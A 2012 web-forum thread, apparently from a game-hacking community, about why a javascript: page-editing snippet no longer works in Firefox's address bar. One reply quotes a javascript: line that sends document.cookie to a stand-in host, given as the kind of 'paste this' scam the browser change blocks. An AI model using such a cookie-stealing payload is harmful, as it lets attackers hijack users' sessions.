|
|
 |
|
 |
|
Views: 236,207,418 Time: 2013-05-21 07:41:01 PM | 22 users online: 0x400, Demonstro, Flame8765, Hamtaro126, HuFlungDu, Jayfeather, Jonny, Kobrah, KY2010, Magiluigi, metalgearhunter, MrDeePay, MSDFG, PatPatPat, Pixels, Qwholl, Sonikku, thenextdoor, ToonLinktheFairy, WeegeeBen, wiiqwertyuiop, Zildjian - Guests: 26 - Bots: 11 | Users: 22,858 (1,284 active) Latest: FUNKY kong ending |
|
|
 |
|
 |
|
| Tip: Verify that your hack's IPS patch is functioning correctly before submitting it. |
|
|
|
 |
|
 |
|
|
|
|
|
 |
|
 |
|
| JavaScript code not working in Mozilla Firefox |
|
Forum Index - Hobbies - Computers & Technology - JavaScript code not working in Mozilla Firefox |
|
Pages: 1  |
|
|
|
| Posted on 2012-01-12 11:22:12 AM |
Link | Quote |
|
I'm trying to use the following code in Mozilla Firefox
Codejavascript:document.body.contentEditable='true'; document.designMode='on'; void 0
I enter it into the address bar like you're meant to, but when I press enter or click the arrow nothing happens. Why isn't it working?
Also, apologies if this thread belongs in the Tech Desk subforum, I wasn't sure which forum it fitted best in.
|
| Last edited on 2012-01-12 11:23:53 AM by Jeorge535. |
|
| Posted on 2012-01-12 12:40:07 PM |
Link | Quote |
|
Originally posted by Firefox changelog (or whatever it is)For security reasons, data: and javascript: URIs no longer inherit the security context of the current page when the user enters them in the location bar; instead, a new, empty, security context is created. This means that script loaded by entering javascript: URIs in the location bar no longer has access to DOM methods and the like, for example. These URIs continue to work as before when used by script, however.
The reason for this appears to be to get rid of people saying "paste javascript:document.location='http://example.com/cookie.php?site=facebook.com&cookie='+document.cookie to see a funny video!"
|
|
| Posted on 2012-01-12 12:52:30 PM |
Link | Quote |
|
|
I see. I'll just use a different browser when editing the page or I'll just download the source code of the page and edit that instead. This thread can be closed now.
|
|
| Posted on 2012-01-13 07:11:47 AM |
Link | Quote |
|
Alternatively, you can use web console in Firefox to do this. Just press CTRL+SHIFT+K and paste the code in field which appears.
Also, this security is "lol". You're not allowed to even use alert(). window doesn't seem to work in those URLs. I would rather see a warning or something (which you can disable), instead of silently failing (it's bad idea to fail without any reason, and not everybody reads those changelogs (aside of developers)).
|
|
|
Pages: 1  |
|
|
|
|
Forum Index - Hobbies - Computers & Technology - JavaScript code not working in Mozilla Firefox |
|
|
 |
|
 |
The purpose of this site is not to distribute copyrighted material, but to honor one of our favourite games.
Copyright © 2005 - 2013 - SMW Central Legal Information - Link To UsTotal queries: 29
|
|
|
|